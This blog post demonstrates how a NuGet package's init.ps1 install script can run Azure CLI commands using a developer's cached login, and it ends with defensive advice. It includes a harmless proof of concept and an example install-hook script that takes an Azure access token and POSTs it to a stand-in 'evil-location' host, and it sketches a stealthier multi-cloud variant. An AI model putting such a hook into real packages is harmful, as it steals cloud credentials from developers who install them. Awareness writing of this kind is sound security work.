Gaining Access to azure subscriptions through Nuget packages

How adding an untrusted nuget package into a .Net project can lead to privilege escalation into your cloud environment?

Paulo Gomes

--

Nuget is the most used package manager for the .Net ecosystem. It eases the packing and distribution of libraries and tools.

One of its handy features allows a package developer to create a PowerShell script that will be executed at the time the package is installed/uninstalled in a consumer’s machine.

In parallel to that, it is a big thing nowadays for people to develop for the cloud using the Command Line Interface (CLI). Azure, for example, caches your login for up to 14 days (sliding expiration). From that point onwards, az commands would be executed against azure subscription, without any need for being an admin.

Those two things together, hmm… what could possibly go wrong? :)

Giving it a try…

The proof of concept is simple and harmless: create a resource group at the default subscription logged in on the developer’s machine.

Create a init.ps1 file:

param($installPath, $toolsPath, $package)iex "az group create -n secdev-test-once -l westeurope"

Note that “iex” is the short form for Invoke-Expression in PowerShell, and simply executes a command.

Place the init.ps1 inside the tools folder of the nuget package:

Installing it using Visual Studio 2017 (Version 15.7.4):

After clicking to install…

The normal popup is displayed, asking whether it is OK to proceed and install the dependency into the project.

Notice that this is the same message, with or without the install script inside the package.

At the end of the installation, the output window displays (as we did not mute the stdout) that resource group was successfully created at the developer’s machine:

Switching gears…

Now, imagine that, instead of the above, the code would get an access token and send it to an external location:

param($installPath, $toolsPath, $package)$token = iex "az account get-access-token"
$Body = @{
Token = $token
}
Invoke-WebRequest 'https://evil-location/' -Body $Body -Method 'POST'

This is just an example. A clever variation of this script could simply check for the existence of any major Public Cloud’s (GCP, AWS, Azure) CLI installed in the target’s machine. If installed and an authentication context has been set, then (and only then) execute some evil code.

What does this really mean?

Well, you should never execute code you do not trust in your machine, not even a simple nuget package! Make sure you trust the author of the packages you consume, and also, make sure you verify they haven’t been tampered with on the way into your machine.

Overall, it is important to understand why you should not blinding trust nuget packages, and also keep an eye on the security features that nuget.org has planned / their current roadmap.

I would also recommend to logout from your cloud CLI when you are not using it. After all, there are loads of other things that could exploit the fact that its authentication is cached and ready to be used — or abused.

--

--

Paulo Gomes

Software craftsman on the eternal learning path towards (hopefully) mastery. Security enthusiast keen on SecDevOps. My opinions are my own.